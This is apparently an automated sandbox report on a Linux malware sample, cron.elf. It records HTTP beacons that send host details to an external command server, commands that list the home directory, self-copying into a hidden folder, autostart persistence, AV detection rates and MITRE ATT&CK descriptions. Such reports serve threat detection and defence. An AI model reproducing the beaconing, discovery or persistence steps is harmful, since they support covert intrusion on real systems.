Sep 30, 2024 12:02:31.342978954 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	54590	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:02:42.826714039 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	54592	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:02:54.291346073 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	54594	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:03:05.747122049 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	54596	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:03:17.222739935 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	54598	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:03:28.721405983 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	54600	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:03:40.217514038 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	54602	157.173.198.190	15124

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:03:51.703282118 CEST	297	OUT	POST /api/root_245842932284287/hello HTTP/1.1 Host: 157.173.198.190:15124 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.18.4 Content-Length: 82 Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 72 6f 6f 74 22 2c 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 4c 69 6e 75 78 20 35 2e 34 2e 30 2d 37 32 2d 67 65 6e 65 72 69 63 22 2c 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 67 61 6c 61 73 73 69 61 22 7d Data Ascii: {"username": "root", "platform": "Linux 5.4.0-72-generic", "hostname": "galassia"}

System Behavior

Analysis Process: cron.elf PID: 6217, Parent PID: 6143

General

Start time (UTC):	09:59:31
Start date (UTC):	30/09/2024
Path:	/tmp/cron.elf
Arguments:	/tmp/cron.elf
File size:	6347024 bytes
MD5 hash:	0ee42b6d702553b4e87376859f4139bc

Start time (UTC):	09:59:32
Start date (UTC):	30/09/2024
Path:	/tmp/cron.elf
Arguments:	-
File size:	6347024 bytes
MD5 hash:	0ee42b6d702553b4e87376859f4139bc

Start time (UTC):	09:59:32
Start date (UTC):	30/09/2024
Path:	/tmp/cron.elf
Arguments:	/tmp/cron.elf
File size:	6347024 bytes
MD5 hash:	0ee42b6d702553b4e87376859f4139bc

Start time (UTC):	09:59:33
Start date (UTC):	30/09/2024
Path:	/tmp/cron.elf
Arguments:	-
File size:	6347024 bytes
MD5 hash:	0ee42b6d702553b4e87376859f4139bc

Start time (UTC):	09:59:33
Start date (UTC):	30/09/2024
Path:	/sbin/ldconfig
Arguments:	/sbin/ldconfig -p
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:59:33
Start date (UTC):	30/09/2024
Path:	/sbin/ldconfig.real
Arguments:	/sbin/ldconfig.real -p
File size:	1053768 bytes
MD5 hash:	cf725620cf31c0c148dfb25bfe210af6

Start time (UTC):	09:59:34
Start date (UTC):	30/09/2024
Path:	/tmp/cron.elf
Arguments:	-
File size:	6347024 bytes
MD5 hash:	0ee42b6d702553b4e87376859f4139bc

Start time (UTC):	09:59:34
Start date (UTC):	30/09/2024
Path:	/bin/sh
Arguments:	sh -c "uname -p 2> /dev/null"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:59:34
Start date (UTC):	30/09/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:59:34
Start date (UTC):	30/09/2024
Path:	/usr/bin/uname
Arguments:	uname -p
File size:	39288 bytes
MD5 hash:	4ac7c634c5bec95753c480e9d421dcc2

Start time (UTC):	09:59:34
Start date (UTC):	30/09/2024
Path:	/tmp/cron.elf
Arguments:	-
File size:	6347024 bytes
MD5 hash:	0ee42b6d702553b4e87376859f4139bc

Start time (UTC):	09:59:34
Start date (UTC):	30/09/2024
Path:	/bin/sh
Arguments:	sh -c "cd; find . -type f > /tmp/list.txt"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:59:34
Start date (UTC):	30/09/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:59:34
Start date (UTC):	30/09/2024
Path:	/usr/bin/find
Arguments:	find . -type f
File size:	320160 bytes
MD5 hash:	b68ef002f84cc54dd472238ba7df80ab

Start time (UTC):	09:59:37
Start date (UTC):	30/09/2024
Path:	/tmp/cron.elf
Arguments:	-
File size:	6347024 bytes
MD5 hash:	0ee42b6d702553b4e87376859f4139bc

Start time (UTC):	09:59:37
Start date (UTC):	30/09/2024
Path:	/bin/sh
Arguments:	sh -c "chmod +x /root/.gnome3/cron.elf"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:59:37
Start date (UTC):	30/09/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:59:37
Start date (UTC):	30/09/2024
Path:	/usr/bin/chmod
Arguments:	chmod +x /root/.gnome3/cron.elf
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Start time (UTC):	09:59:31
Start date (UTC):	30/09/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:59:31
Start date (UTC):	30/09/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.daq1fugtlt /tmp/tmp.DKxxUtkXhW /tmp/tmp.wWDD2OqcVY
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	09:59:31
Start date (UTC):	30/09/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:59:31
Start date (UTC):	30/09/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.daq1fugtlt /tmp/tmp.DKxxUtkXhW /tmp/tmp.wWDD2OqcVY
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	09:59:34
Start date (UTC):	30/09/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time (UTC):	09:59:34
Start date (UTC):	30/09/2024
Path:	/usr/sbin/uuidd
Arguments:	/usr/sbin/uuidd --socket-activation
File size:	43320 bytes
MD5 hash:	9635fb70deacacfc235cf3b9fb4a96c4

Source: cron.elf	ReversingLabs: Detection: 62%
Source: cron.elf	Virustotal: Detection: 57%			Perma Link

Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.198.190

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report cron.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/root/.config/autostart/gnome3.desktop

/root/.gnome3/cron.elf

/tmp/_MEIcXSYvg/_cffi_backend.so

/tmp/_MEIcXSYvg/_codecs_cn.so

/tmp/_MEIcXSYvg/_codecs_hk.so

/tmp/_MEIcXSYvg/_codecs_iso2022.so

/tmp/_MEIcXSYvg/_codecs_jp.so

/tmp/_MEIcXSYvg/_codecs_kr.so

/tmp/_MEIcXSYvg/_codecs_tw.so

/tmp/_MEIcXSYvg/_ctypes.so

/tmp/_MEIcXSYvg/_hashlib.so

/tmp/_MEIcXSYvg/_json.so

/tmp/_MEIcXSYvg/_multibytecodec.so

/tmp/_MEIcXSYvg/_ssl.so

/tmp/_MEIcXSYvg/bz2.so

/tmp/_MEIcXSYvg/certifi/cacert.pem

/tmp/_MEIcXSYvg/certifi/old_root.pem

/tmp/_MEIcXSYvg/certifi/weak.pem

/tmp/_MEIcXSYvg/cryptography-2.1.4-py2.7.egg-info/PKG-INFO

/tmp/_MEIcXSYvg/cryptography-2.1.4-py2.7.egg-info/dependency_links.txt

/tmp/_MEIcXSYvg/cryptography-2.1.4-py2.7.egg-info/not-zip-safe

/tmp/_MEIcXSYvg/cryptography-2.1.4-py2.7.egg-info/requires.txt

/tmp/_MEIcXSYvg/cryptography-2.1.4-py2.7.egg-info/top_level.txt

/tmp/_MEIcXSYvg/cryptography.hazmat.bindings._constant_time.so

/tmp/_MEIcXSYvg/cryptography.hazmat.bindings._openssl.so

/tmp/_MEIcXSYvg/libbz2.so.1.0

/tmp/_MEIcXSYvg/libcrypto.so.1.1

/tmp/_MEIcXSYvg/libexpat.so.1

/tmp/_MEIcXSYvg/libffi.so.6

/tmp/_MEIcXSYvg/libpython2.7.so.1.0

/tmp/_MEIcXSYvg/libreadline.so.7

Linux Analysis Report
cron.elf